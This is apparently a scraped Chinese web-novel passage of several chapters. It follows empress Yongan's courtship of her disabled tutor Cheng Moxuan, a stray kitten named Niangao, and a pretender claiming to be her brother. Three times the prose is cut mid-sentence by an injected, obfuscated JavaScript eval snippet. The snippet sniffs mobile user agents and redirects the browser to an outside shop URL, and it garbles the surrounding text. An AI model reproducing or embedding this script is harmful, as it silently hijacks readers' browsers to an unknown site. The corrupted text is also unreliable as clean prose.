“不是,是我自己问她的。” 程莫玄叹了口气。 阳光下少女的脸庞明艳生动,一双眼睛亮晶晶的,听见早朝闹出的囧事儿被他知道了,稍微黯淡了些。 “疏月姐姐就是心软的神,明明和她说好了不告诉小老师的……” 见她满眼心事,程莫玄心里到底也是忧的。就刚刚,小姑娘在金銮殿上,为了他一个人对阵了满朝文武。 “永安。” 永安怔了怔,下意识应道:“嗯?” 程莫玄的眸光温柔,声音分外温和:“江姑娘的话,我其实也听说了。” 永安更尴尬了,巴不得找个地方钻钻:“嗯……哈哈……” “你不要紧张。”程莫玄摸摸她的发顶,失笑道:“她说得不错,喜欢是两个人的事。” 他吐字慢慢的,一个字接着一个字的蹦出来,永安见状也不多说,闭上嘴等着他的回答。 “陛下,请给我点时间,让我好好想清楚。”程莫玄的声音很轻,“怎样才能配得上永安。” 永安急了:“又是这话来唬朕,朕说了,你配得上——” “陛下。”程莫玄打断她,握紧她的手,“我知道你不在乎,可我……不想活在残废皇夫的名号下。” 他一称呼她的尊称,她就知道他认真了。 “你说这些你都不在乎,可我是在乎的。” “陛下,请罚我罢,我程莫玄是个懦夫。” “我怕朝臣们说三道四,更怕将来有人拿这事攻击你。我这样的残废若是站在你身边,别人会说,你看,天子就嫁了这么个东西。” 他彻底闭上眼,想要躲避眼前少女的面容。 “陛下值得天底下最好的良人。” “倘若你要定了我,我便想成为那个最好的。” 永安盯着他佯装镇定的模样,只觉得鼻子酸得要命。 小老师这是在维护她作为陛下的名声呐。 虽然她不需要这些,世俗的眼光算什么,但,他若是这般在意…… 她深吸一口气,努力让声音听起来正常:“那你要多久?” 程莫玄依旧是闭着眼的。 见状,永安就一直凶巴巴地瞪着他:“快说!要多久!” 程莫玄忍不住弯了弯嘴角:“七天。” 永安挑眉:“七天?” “七天。”程莫玄说,“七天后,我给你一个答复。” “行吧,朕就再给小老师一个机会。” 程莫玄总算松了口气。 永安反握住他的手:“七天就七天。但是嘛——” 她凑至他的耳廓外轻轻吹气,半是撒娇半是威胁道:“七天后,你要是还敢说不愿意,朕就再抢一次哦~到时候,连人带你的小拐杖,一并抢了去!” 程莫玄的耳根瞬间红透了,看见这一幕,永安活脱脱像只偷了腥的小狐狸,笑得贼嘻嘻的。 照理说,七天不过是弹指一挥间,永安打算一边吊儿郎当地上朝,一边宅在紫宸殿里摸摸鱼,就这样凑合着过去。 谁知啊,对于心中怀情者,这七天比七年还要难熬。 第一天。 永安一大早就爬了起来,赶在上朝的时间前,梳洗完毕就往程莫玄住的小院跑。 刚刚跑到院门口,就被疏月拦住了。 “陛下,程先生说,这七天他不见您。” 永安生气,永安瞪眼:“!” 疏月硬着头皮重复:“程先生说,这七天他不见您。” 永安叉着腰,一脸不服不忿:“凭什么!朕可是皇帝!” 疏月小声嘟囔:“陛下,您昨日亲口答应的……” 永安:“……” 行,她答应的,她认栽了。 好吧,扑了个空。 既然蹲不到小老师,永安就回到自己的寝宫里转圈圈,硬是转了一个晚上。 第一天,永安在孤单寂寞冷中暗自神伤。 第二天。 永安又起了个大早,一爬起来,又往小院跑。 结果不出所料,又被疏月拦住了。 “陛下,程先生说,您再闯进来,他就搬出宫去。” 永安:“……” 搬出宫?这还得了!那不是很难再见到小老师了嘛。 不行不行,山有木兮,心悦子兮,小老师不可以离她太远。 第二天,永安趴在窗台上望眼欲穿。 第三天。 永安没去小院。 她是个小机灵鬼,直接换了个思路,干脆派了疏月去送点心。 皇命难违,疏月硬着头皮去了,人回来了,点心也回来了。 “陛下,程先生说谢谢陛下,但他不饿。” 永安看着那盘点心,顿觉咬牙切齿。 不饿是什么很新的借口嘛!这明明是她亲手挑的点心! 第四天。 永安开开心心地去上朝,下朝后,在御书房里转了转,又派疏月去送书。 疏月又依照御旨去了,人又回来了,书也又回来了。 “陛下,程先生说这本书他看过了,让您自己留着看。” 永安:“这人怎么这么挑啊!” 这也太寒心了!她翻遍了御书房才找到的孤本! 第五天。 永安终于忍不住了。 她半夜时便爬了起来,偷偷溜去程莫玄住的小院。 今夜月色正好,月光下的小院静悄悄的,只有一间屋子还亮着灯。 永安趴在墙头,恰能将美人独坐窗前的好景尽收眼底。 程莫玄点了盏孤灯,在宣纸上行文。 男子白衣胜雪,形若丹鹤,轮廓温柔得像一幅花鸟丹青卷。 永安看着看着就入了迷,心里的焦躁也随着烟消云散了。 她就这么趴在墙头,看了一夜。 趁着天亮前,她就悄悄溜了回去,没人发现少女神出鬼没的行踪。 第六天夜里,永安又去了。 还是同样的窗户,同样的灯盏,人儿也没变。 他还在写着呢。哎呦,也不知道小老师到底在忙什么。 永安趴在墙头,实在是无聊的没事做,就开始数他写了多少张纸。 一张,两张,三张…… 数到第五张的时候,她睡着了。 醒来时,天已经蒙蒙亮了。 永安坐了起来,发现她身上盖了件染了木屑清香的外袍。 扒拉开一看,这不是小老师的衣服么? 墙头这么高,小老师到底是怎么把衣服给她递上来的,简直是太不可思议了。 她抬头看那扇窗,窗子里已经完全黑了。见他歇息,她也就顺势从墙上跳了下来。 跳下来一踩,发现自己恰好踩中个窄小的木梯。 永安把那件外袍裹得紧紧的,笑得像个傻子。 第七天。 她穿上最隆重的朝服,发髻挽得端庄,端端正正地坐在金銮殿的龙椅上。 底下,群臣列队,鸦雀无声。 所有人都在等某个断腿的男人,给他们的天子一个答复。 尽管这群臣子们心里还是不服,然而奈何不了这小陛下偏生喜欢这程莫玄。 罢了罢了,一个男子而已,无伤大雅,小陛下也到了情窦初开的年纪了。 日头一点点升高,群臣们也开始交头接耳。 周尚书是最先一个敢和永安发话的:“陛下,程莫玄莫不是不来了……” 永安瞪他一眼:“闭嘴。” 又过了约莫一盏茶的时间,殿外传来了拐杖点地的声音。 永安的心情瞬间愉悦了起来。 只见殿门大开,程莫玄穿着身似雪的白裳,拄着拐杖,一步一步地走入殿内。 若是忽略残疾这一点,男子看上去还真是个世无双的公子。 “颇有当年陈静的风韵啊……”朝臣们低声议论着,觉得这程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484566|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫玄与先前的摄政王夫的音容样貌有几分相似。 行至殿中央,程莫玄放下拐杖,缓缓跪了下去。 “微臣程莫玄,叩见陛下。” 永安想要激动的冲下去扶起他来,可这儿毕竟是大庭广众之下,实在是为难她了。 半晌,嘴里蹦出几个字儿:“程爱卿请起。” 程莫玄又艰难地撑起自己的残躯,行礼道:“谢陛下隆恩。” “七日之期已到。程爱卿可有考虑好朕的提议么?” “微臣想好了。”他莞尔一笑。 永安的心提到了嗓子眼。 她心里疯狂尖叫着:快说啊小老师!快说你喜欢朕,然后我们幸福美满地生活在一起!快说快说~ 程莫玄总算动了动嘴皮子:“微臣愿意——” 永安激动地差点从龙椅上跳起来。 “——愿意留在陛下身边。” 永安大大的笑容瞬间僵在了脸上:“……你说什么?” 程莫玄再次跪下,将额头抵在冰凉的金砖上。 “微臣愿意,以臣子之身,辅佐陛下。程某曾做过翰林院典籍,还没来得及做出来什么功绩,便为局势所迫,一直伴随陛下左右了。” “等将来有一天,微臣这官儿做得好,配得上陛下了——” 他抬起头,眼眶已然泛红。 “届时,陛下再来问微臣愿不愿意,可好。” 殿内瞬间掀起了轩然大波,已有不少朝臣开始讨论起他的提议。 “陛下,程莫玄说得在理啊!陛下乃九五至尊,他若是没什么功绩,怎配得上陛下——” 这礼部尚书又是第一个跳出来赞成的,听得永安心烦意乱。 她是皇帝,她想要立即将小老师纳入后宫,为何不可?为什么一众人都跳出来反对她! 这时,江芷柔提醒的话又浮现在她脑中。 唉,还是要看小老师的心意…… 他若不愿,她又岂能步步紧逼呢。 永安把自己劝好后,迈着小碎步走下御阶。 走到他面前,她停下脚步,弯下腰,凑到他耳边,用只有他能听见的声音说: “程莫玄,你给朕记住了。朕可以等你。” “但是——” 她选了个他人看不见的角度,轻轻咬了咬他的耳垂。 程莫玄浑身一僵,整个人又要匍匐在地。 永安退后一步,笑得眉眼弯弯:“不许骗朕。必须必须,要和朕在一起喔。” 程莫玄被这一咬咬得兵荒马乱,不敢去看少女,生怕又要乱了心跳的韵律。 他俯首着,将自己埋得更低:“是。” 永安满意地点点头,转身面向群臣,朗声道: “来人,传朕旨意——封程莫玄为礼部侍郎,伴朕左右,赐宅邸一座,赏金千两。” 群臣面面相觑。 周尚书瞬间就不镇定了,陛下居然要将这个残废塞进他的礼部! 这这这,于礼怎合?简直是天大的玩笑啊! 永安瞬间拆穿了他的小心思:“怎么,周大人有意见?” 周尚书连连摇头:“臣不敢。” 永安得逞一笑:“你不敢就好。若敢苛待朕的小老师,朕摘了你的脑子。” 这天后,程莫玄搬进了新赐的宅邸。 永安说到做到,没再去打扰他。 不过,她又使了些新的小巧思,每日礼部的案头,都会多出来一封信。 信里只有一朵花,不过每日都换了个花样。 第一天,是迎春花。 第二天,是杏花。 第三天,是桃花。 第四天,是海棠。 第五天,是牡丹。 第六天,是石榴花。 第七天—— 程莫玄看着案头不知名的野花,忍不住笑了。 小永安是把他当成植物园了么。 他拿起野花,轻轻放在鼻尖闻了闻,馨香袭人,瞬间便让他心情舒畅了不少。 随后,他铺开一张纸,提笔写下几个字。 “花收到了。很好看。” 半晌,又加了一句: “但陛下比花更好看。” 写完了,他盯着那行字看了半天,脸瞬间红得彻底。 最后,他把那张纸揉成一团,扔进了纸篓。 窗外,春光明媚,只有周延气得直跺脚。 小陛下为了给心上人送信,还是苦了他了,每天都要往返御书房和礼部送信,多了不少工作量呢。 5. 小猫就叫年糕! 程莫玄慢悠悠地拄着拐杖,去礼部报道了。 都说新官上任三把火,可这位新任的礼部侍郎才上任了一上午,就把周延气了个半死,差点没把胡子薅秃。 老尚书手里握了好几封信,这些信无一例外,都是小陛下缠着他要他塞给程莫玄的。 信送到了,年轻侍郎拆开一看,信纸里面藏了一朵花。 老尚书凑过去看了一眼:“程侍郎,这是何物?” 程莫玄面不改色地把花收进袖中:“周大人,公务。” 周延竟不知该如何作答。 虽然老尚书也上了年纪,可当他瞎吗?这花分明是御花园的花! 可他能说什么呢,花可是陛下送的。陛下送的,就算是坨屎,他也得说是香的。 周延思来想去,决定眼不见为净,转身就走。 走到门口,又退了回来。 “程侍郎,那个啥,陛下说了,你腿脚不便,每日可提前半个时辰下衙。” 程莫玄:“尚书大人这是看不起下官么。” 周延干笑两声:“本官就是传个话,可没别的意思哈。” 说完撒腿就跑,溜得比兔子还快。 就算是陛下眼前的红人,他惹不起还躲不起么! 程莫玄老人家佝偻而努力挺直的背影,忍不住弯了弯嘴角。 老尚书还算是有些意思,日后啊,这儿的工作还有些盼头。 程莫玄说到做到,提前了半个时辰,收拾好东西就拄着拐杖往外走。 推开大门,映入眼帘的是一条长长的巷子,两边是高高的灰墙,墙角长着些不知名的野草。 春末的风吹过来,吹到程莫玄心头,滋生了些暖洋洋的懒意。 程莫玄缓步走着,回味着打开信封时闻到花香时的心情,只觉心头暖意融融。 “永安有心了。”他自言自语着。 走到巷子中间,他忽然觉得有些不对劲,不由得停住了脚步。 只见脚下有个小东西正扒拉着他的拐杖,发出细细小小的“喵喵”叫声。 低头看去,居然是一只小猫。 小猫只有巴掌大,浑身雪白,尾巴尖上有一撮黑毛。 它缩在墙角,瑟瑟发抖着,一双蓝汪汪的眼睛湿漉漉地望着他。 “喵喵——” 程莫玄不明所以,但还是拄着拐杖蹲下身来,摸了摸小猫的头。 猫咪从哪儿来的呢。 四下看了看,巷子里空无一人。这猫要么是走丢了,要么是被遗弃了。 程莫玄没养过猫,也觉得自己是个残废,养不好小猫。想了半天,勉强用一只手将小猫抱了起来,放置在安全的地方。 做完这一切,他就又拄着拐杖,继续往前走着。 刚走了三步,身后又传来了喵喵的叫声。 程莫玄回头一看,小猫稳稳地跟在他身后,四条小短腿倒腾得飞快,努力追着他的步伐。 于是乎,他又走了五步,小猫见状,也往前跟了五步。 程莫玄停下来,小猫也停下了,仰着脑袋看他,奶声奶气地叫着:“喵——” 男人叹了口气,蹲下身来,无奈地低头看它。 “小东西,你的确可爱,可程某有心无力……” 小猫听不懂人类说话,只能疑惑地看着他。 一人一猫对视了好几秒。 程莫玄继续走,小猫就继续追,一人一猫展开了剧烈的拉锯战。 这回小猫追得更快了,小短腿跑得跌跌撞撞的,好几次差点扑了个空。 程莫玄拄着拐杖快步又走了许久,回头一看,那团小白球还在后面气喘吁吁的地跟着。 程莫玄:“怎么还跟着呀。” 他叹了口气,总算停下了脚步。 小猫终于追上来了,直接往他脚边一趴,四仰八叉地露出肚皮,呼哧呼哧喘着气。 小猫见人类不动了,睁着一双蓝汪汪的眼睛朝他喵喵叫:“喵——” 小老师努力地弯下腰,用两根手指拎起小猫的后颈皮,把它提溜到眼前。 小猫就这么悬在半空,颇为无辜地看着他。 “喵喵喵~” 最后,程莫玄实在拿它没办法,将小猫放在自己肩头。 小猫立刻找了个舒服的位置窝好,尾巴一甩一甩的,惬意得不得了。 程莫玄:“你这是要在我这儿安家么?” 小猫:“喵喵,喵喵喵!” “既然如此,只能暂且收留你了。” 程莫玄于心不忍,只能将小猫暂且带走。 唉,搞不好捡了个小祖宗。 次日,程莫玄二话不说,晨起后就带上了小猫。 一手拄着拐杖,一手让小猫爬在肩上,一人一猫就这样慢悠悠地去了礼部。 小猫窝在男子宽厚的肩头,毛茸茸的脑袋转来转去,好奇地东张西望。 周延在早上又收到了小陛下的信。 小陛下义正词严地要求他务必送到程莫玄的手中,他内心骂骂咧咧地答应了。可一进衙门,就看见了一人一猫相依相偎的一幕,更要把老尚书气得七窍生烟。 什么时候小狸奴也能在他礼部横着走了! “程侍郎,你怎么带了个小主子呢?”周延一上来就开始阴阳怪气。 程莫玄面不改色:“路上捡的,下官也是拿它没办法,才带在身上。” 周延不信这个邪,皱眉道:“瞧你这话说的,在京城大街上随随便便就能捡到这么漂亮的猫?本官就不信这个邪了。” 程莫玄一笑置之:“有时候只是运气问题,您过来一看便知。” 周延还真凑过去瞧了瞧,心里的疑惑更深了。 小猫通体雪白,毛色油光水滑,一看就是被人精心养过的。 它懒洋洋地窝在自己下属的肩头,高雅地舔着爪子,连个正眼都不给他。 老尚书更不解了,这猫怎么比人还傲呢? “程侍郎,你这猫来路不正啊,”周延斟酌着措辞,犹豫道,“是不是应该为这小猫找找失主?” 小老师还未发话,小猫先不乐意了。 它抬起脑袋,对着周延“喵”了一声。声音又细又尖,明显是在抗议他的提议。 周延七老八十的哪里见过这架势,吓得直直往后退了好几步。 程莫玄忍俊不禁:“它好像不愿意。” 周延只能吹胡子瞪眼了:你笑什么笑!这猫能听懂人话吗?怎么就看出来不愿意了。 可他只能忍气吞声,因为这会儿某个小祖宗又要来了—— “周大人在说什么呢?大早上的,礼部咋这么热闹?” 人还未至,清脆如黄鹂般的声音就先一步从门口传来了。 周延颤巍巍的转头一看,腿差点软了下去。 “老臣见过陛下。” 永安上身是明黄色常服,下半身是翠绿色襦裙,惬意地背着手,晃晃悠悠地走了进来。 她身后跟着疏月,疏月手里还提着一个食盒。 “陛下?您又来了!” 永安笑眯眯地冲他挥挥手:“周大人好啊~” 周延扑通一声就要跪,生怕这小陛下误会他要寻程莫玄的不是。 永安一把扶住他,狡黠地眨眨眼:“别跪别跪,朕微服视察,低调,低调嘛~” 周延的膝盖就这样悬在半空,跪也不是,不跪也不是。 哎呦,他的老腰啊…… 永安已经越过他,直奔程莫玄去了。 “小老师~朕来看你啦~” 程莫玄慌忙放下手里的文书,拱手道:“陛下。” 永安却被他肩头那团白球吸去了目光,笑嘻嘻地戳了戳小猫身上的毛绒:“咦?这是什么呀?” 她凑过去,小猫也歪着脑袋看她。 “喵——”小猫傲娇地喵了一声。 永安的眼睛瞬间亮了:“好可爱!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小老师,前些日子朕送的花,你都收到了么?” 程莫玄呆呆地点点头:“收到了。” “喜欢么。” “好看。” 永安笑得更开心了:“那朕明天继续送!嘻嘻!” 日头恰好正盛,映得少女的面庞格外明艳。 “陛下。”他叫住她。 永安眨眨眼:“嗯?” 其实他每天都很期待那朵花…… 程莫玄想要多说两句,可话到嘴边,他又不知道怎样开口了。 “无事,只是想谢过陛下的一片美意了。” 永安“啧”了一声,也没追问。 小老师怎么还和她客套上了!可恶啊可恶。 她揉了揉年糕的脑袋:“年糕啊年糕,你要好好陪着小老师哦~朕不在的时候,你就是朕的小探子~” “一定一定,要帮朕探探小老师的心意哦~” 小猫喵了一声,像是答应了。 永安非常满意,转身冲周延挥了挥手:“周大人,朕走了,你好好地干活~” 周延连连点头:“是是是,陛下慢走。” 永安蹦蹦跳跳地走到门口,很快就一溜烟地消失了。 肩头,年糕蹭了蹭程莫玄的脖子,软软地叫了一声。 他又揉了揉它的脑袋,毛茸茸的,很舒服。 “你倒是挺喜欢她。” 年糕眯起眼睛,舒服地打着呼噜。 “程侍郎,你好自为之,”周延冷不防在旁边提醒着,“你若是做不出一番业绩来,就算陛下再怎么喜欢你,你也做不了陛下的男人的。” 程莫玄慢慢低下了头,瞬间沮丧了不少:“下官明白了。” 6. 真假小弟 从礼部回来后,永安心情好得一路溜去了御膳房,大快朵颐了一番。 什么桂花莲子羹,西湖醋鱼,红烧肉……趁厨子出走之际,她直接每一样都夹了一口。 “嘻嘻,谁叫朕心情这么好,吃吃吃~” 小老师收了她的花,收留了她悄咪咪塞过去的年糕,还被她逗得脸红心跳——简直完美! 餐后,她哼着小曲儿在御花园里晃悠,折了一枝海棠插在鬓边,对着池塘照了又照。 “疏月疏月,你说朕好不好看~” 疏月默默递上铜镜,撇撇嘴:“陛下自己看。” 永安照了照,满意地点点头:“朕觉得啊,小老师迟早会被朕迷死的。” 疏月无奈地点点头:“陛下说得对。” 永安正臭美着呢,一个小太监连滚带爬地跑过来。 “陛陛陛陛下——大事不好了!” “什么事慌慌张张的?”永安被打断了美美的心情,颇为不悦。 小太监跪在地上颤抖道:“城外有人聚众闹事啊!” 永安挑眉:“闹事就闹事,让京兆尹去处理呗。” “不是啊陛下!”小太监脸色惨白地抬头,“那人说他是先帝遗孤,是当年没死的赵王李元初!他要陛下让位于他!” 永安的笑容瞬间凝固在了脸上。 昭京城外。 一面旗帜在风中猎猎作响。 旗下,一个十五六岁的少年策马而立。他生得俊秀,穿了身玄色劲装,腰间佩着柄镶金的长剑。 少年身后黑压压地跟了几百号人,有粗布短褐的农夫,手持棍棒的壮汉,还有些一看就是练家子的江湖人。 少年扬鞭一指城楼,声音清朗:“城上的人听好了!我乃先帝嫡子,凝妃所出,赵王李元初!” “逆贼李澜发动宫变,杀我父,逼死我母,将我推入枯井!” “幸得上天垂怜,我死里逃生,被忠仆收养至今!” “妖女李永安,妖妃所出,牝鸡司晨,霸占我李氏江山——我李元初,誓要夺回属于我的一切!” 话音落下,身后几百号人齐声高呼:“夺回江山!诛杀妖女!” 城楼上,守城士兵面面相觑。 “这可如何是好啊!你们几个,速速去禀报陛下!” 消息排山倒海地涌来,永安脸色铁青地坐在金銮殿上,殿下群臣跪了一地,嗡嗡地吵成一团。 “陛下!此事非同小可!李元初若是真的赵王,对陛下的影响可不小啊!” “放屁!李澜如此阴狠,手下怎可能留下活口!” “可万一是真的呢?” “当年宫变,靖和帝就两个子嗣,赵王被诛杀,就活下来个永安公主,永安即位实乃正统,我看殿外那个才是个假货色呢!” “嗡嗡嗡”的,吵得永安脑仁真疼。 她揉了揉太阳穴,有气无力地开口:“行了行了,别吵了。” 群臣都尽数安静下来,直愣愣地望着她。 永安翘着个二郎腿,表情无辜得很:“你们跟朕说说,外面这个自称是李元初的小子,是真是假啊。” 群臣面面相觑。 周尚书硬着头皮站出来,躬身一礼:“陛下,李元初是先帝与凝妃所生的皇子,是您唯一的弟弟,封赵王。您大舅李澜弑君宫变之时,据说就已经薨了。” 她的确是知道这个小弟的,是小老师的姐姐,凝妃程晚凝和她父皇,也就是靖和帝李牧之所生。 她爹李牧之是个风流的皇帝,在位时接连换了好几个宠妃,而她是父皇的第一个子嗣,由舞姬淮燕所生。 淮燕出身卑微,又在短短的时间封为燕妃,总是被天下人所诟病。 再后来,她爹又宠幸了小老师的姐姐,才有了小弟李元初。 好景不长,这个亲爹穷兵黩武,又好大喜功,很快便被她装疯卖傻的大舅李澜卷土重来,在宫变中暴毙了。 宫变日,是小老师冒死将她带离宫内,东躲西藏,才活了下来。她后来在林青姑姑的帮助下重返帝位,而小弟据说在宫变时便被大舅处死了。 永安眨眨眼:“哦?你们说小弟没死,有细节支撑么?” 周尚书吓得冷汗直流,连连叩首:“当时宫变时乱得很,李澜的人冲进宫里胡乱砍杀,臣也是事后才听说的。” “所以你们也不确定他死没死?” 群臣齐齐缄默了,永安心里骂了一句脏话。 确定不了是真是假,还纵容此人在城外闹事? 就在这时,殿外通报又至—— “陛下!急报!那打着李元初名号的人马已经逼近城门,扬言要陛下亲自出城迎接,否则就直接攻城!” 永安这下更加不淡定了,冒充她弟弟的冒牌货,居然要攻她的城? 平复!要平复!永安努力让自己看起来镇定。 “兵力多少?” “人倒是不多,据说四五千人。” “传朕旨意紧闭城门,任何人不得进出。调三千禁军驻守城楼,没有朕的命令,不许开战。” “另外——”她咬牙切齿道,“立即召程莫玄入宫。” 群臣不解,这种时候,召个礼部侍郎做什么? 永安不多解释。 这种时候,若是有小老师帮她参谋着,肯定能事半功倍。 程莫玄正在别院里喂着年糕,喂着喂着,永安的旨意就空降了下来。 小猫叼着一小块鱼干吃得满嘴流油,完全不知道外面发生了什么。 程莫玄放下鱼干,拿起拐杖就往外走。 年糕追上来,蹭了蹭他的脚踝,想要和他一起离开。 “你乖乖待着。” 程莫玄嘱咐它几句,见小猫疑惑地盯着他没动了,才一步一步往外走。 走到门口,他想起了一些事情,径直停住了脚步。 他回头看了一眼小白团子,轻轻补充一句:“要是傍晚时没回来,你要记得自己找吃的哦。” 年糕一动也不动,过了一会儿,在原地蹲下舔了舔毛,似是听懂了。 程莫玄朝它笑笑,不舍地转身离去。 永安在御书房里百无聊赖地转着圈圈。 转了一圈,两圈,三圈,直转得少女头晕目眩。 小老师快来,快来,快来啊! 门总算开了。 程莫玄拄着拐杖一瘸一拐地走进来,还没来得及行礼,永安就已经一头扎进了他的怀里。 “小老师!” 程莫玄被她撞得往后退了一步,勉强稳住了身形。 低头看去,少女埋在自己胸口,肩膀微微发抖。 “小老师,你听说了么,有个自称小弟的人,公然在宫外反对我……” 程莫玄伸出手去,轻轻拍了拍她的背。 “不怕不怕。” 永安将他抱的更紧了些:“朕才不怕他咧!朕只是想请小老师帮我参谋参谋——” 到底还是个小小少女,遇到这种情况还不知如何应对,偏要强撑着不露出柔软的一面。 程莫玄轻轻叹着,抹去她眼角一点没藏住的泪痕。 “好,不怕。” 永安吸了吸鼻子,攥紧他的衣襟。 “小老师,你说这人真的是朕的小弟吗?” 程莫玄坚定地摇了摇头。 “不是。” 永安一怔,只见程莫玄无比专注地望着她。 “我阿姐在宫变时如此毅然决然地赴死,真正的元初,必然在当时便是已死了的。” “眼前的这个人不敢说十成十,十成九是个冒牌货。”程莫玄轻轻握住她的手,安慰着。 永安瞬间松了口气:“你这么一说,朕心里稍微好受多了~” “朕现在先要积极应对,随后多去找找他不是朕小弟的证据。” 程莫玄笑着拍了拍她的头:“永安长大了。” “你要记住,不管他是真是假,外面有多少人反对你,程某都会一直陪着你身边。” “小老师——你最好啦~”永安瞬间凑上来便要给他一个爱的亲亲,却被程莫玄羞恼着躲过了。 “宫变时,某没能护住姐姐。如今,更要护好陛下才是。” 他眸色坚定,一字一句道:“某绝不会让任何人伤害你。” 一语毕,永安只觉得鼻子酸得要命,把脸埋在他胸口,闷闷地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484568|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “程莫玄,你说话要算话哦~不许再唬朕了。” 程莫玄将下巴抵在她发顶,轻轻笑了一声。 “算话。” 永安这才松开他,小手一指城外的方向。 “这自称小弟的冒牌货非要朕去见见他,那好,见就见!看朕怎么在气场上压住他!” 说罢,她就小步小步地往外跑去。 程莫玄一把拽住她:“陛下打算就这么去?” 永安回头狡黠一笑,朝他眨了眨眼:“不然呢?” 少女小脸素净,身上是件家常穿的鹅黄襦裙,这哪里是个去震慑别人的小皇帝,分明是个至纯至善的邻家少女。 “陛下请等等。” 程莫玄拄着拐杖,一步一步走到门口,朝外头喊了一声:“疏月。” 疏月连滚带爬地跑进来:“在在在!” “给陛下更衣,穿朝服。” 永安瞪大眼睛:“不要啊!小老师你疯了!那玩意儿足足有十二层!可要把朕重死了!” 程莫玄认真地望着她,眼中尽是祈求之意。 罢了罢了,最见不得美人这样。 永安被他看得缩了缩脖子,小声嘟囔几句:“哼~穿就穿嘛。” 半个时辰后。 永安站在铜镜前,觉得镜中金光闪闪的人完全就不是她自己,活像个移动的灯笼。 十二层朝服一层层裹在身上,赤金的凤凰冠足有三斤重,压得她脖子生疼。 “小老师,朕快被压死了……” 程莫玄拄着拐杖走到她身边,上下打量了一番,才点了点头。 “可以了。” 永安瞪他:“什么叫可以了?朕快喘不过气了!” 程莫玄伸出手,替她把歪了一点的凤凰冠扶正。 “陛下是去见敌人,起到震慑的效果。”他淡淡道,“敌人只会看你这身行头够不够威仪,不会管你喘不喘得过气。” 永安张了张嘴,刚想争辩,谁料面前的男美人竟掩着嘴轻轻笑了笑。 美人长发如瀑,身形似鹤,笑起来时分外明丽。自古美人一笑,君王千金难买,看得小陛下一怔一怔的。 “不过,陛下怎样都好看。” 永安瞬间觉得小脸爆红,几句反驳的话就这样不争气地消失了。 “走吧,时候不多了,我送陛下出城。” 永安跟上去,一把抱住他的胳膊。 “小老师最好了!” 程莫玄被她拽得踉跄了一下,无奈地摇摇头。 宫门外,永安亲自唤来的三千禁军已经列队完毕。 枪戟如林,旌旗猎猎。永安昂首挺胸地站在队列最前,满意地笑了笑。 她想起小老师的话:敌人只会看你这身行头够不够威仪。 她挺直了背,抬起下巴,努力让自己看起来更高一点。 “开城门。” 城外,黑压压的人群已逼到了百步之外。 为首的少年骑在马上,手中弯弓搭箭,一看便是私底下练过武的。他眉目凌厉,还真有几分杀伐果断之相。 少年瞥见城门口出现的金色人影,微微眯起眼睛。 永安策马而出,三千禁军紧随其后。 两军对峙,中间只隔着百米的距离。 少年扬鞭一指:“你就是那个篡权夺位的妖女?” 永安则哈哈大笑,笑得没心没肺:“你就是那个自称朕小弟的骗子?” 少年的脸色瞬间就变得铁青。 永安继续讥讽着他,语气抑扬顿挫:“长得倒是挺像那么回事儿。不过啊——” “朕的小弟,可不会用这种下三滥的手段。来抢夺他英明神武的姐姐的皇位。” 少年的脸色更难看了,刚想要唤人放箭,就被身边的副官止住了。 只见一身灿金色的少女拨转马头,懒洋洋地丢下一句:“想攻城吗?来呗~朕在城楼上等着你。” 说完,她一夹马腹,头也不回地冲回城门。 身后,三千禁军齐刷刷转身,跟着她退入城中。 城门缓缓合上,少年紧紧盯着那扇紧闭的城门,被这一番嘲讽气得牙痒痒。 7. 就这点水平? 永安本想直接冲上城楼,奈何被身上的朝服压的腰酸背痛,走不动道。 于是,她在程莫玄的建议下先行回宫,换了身轻便的骑装,这才带着疏月上了城楼。 城楼上,程莫玄已候她多时。 此处恰是迎风口,风很大,吹得旌旗猎猎作响。永安趴在城垛上往下看去,少年的军队已经在城外三里处安营扎寨,炊烟在寨子中袅袅升起,看来是打算和她打一场持久战。 永安问:“他怎么没攻过来呢?” “敌方多是些起义的农民军,不如我军这般有编制,若贸然攻城,定然伤亡无数。”程莫玄冷静地分析着利弊。 “还真是不把朕放在眼里。”永安撇撇嘴,回头看向一旁沉思的程莫玄,“小老师,你说他们什么时候会动手啊~朕怎么还有点期待嘞~” “今夜。” “这么肯定嘛!”永安颇为困惑。 程莫玄笃定地点点头:“他们人马不多,拖不起。趁夜攻城,是最好的选择。” 永安偷偷瞧他,见他这一张俏脸这么专注,不由得在心里感慨:她的小老师还真是秀色可餐啊! 可这些小九九还是太不合时宜哩。 于是她收回了小心思,夸赞道:“小老师懂得好多啊。” 程莫玄:“陛下过誉了。” 永安又蹑手蹑脚地凑近了不少,仰着头星星眼地看他:“嘻嘻~那朕问你,要是他们今夜攻城,咱们要怎么打呢?” 程莫玄笑而不答,从褡裢中取出一小张折的皱皱巴巴的纸,铺展开来。 永安接过来一看,居然是张简易的城防图。 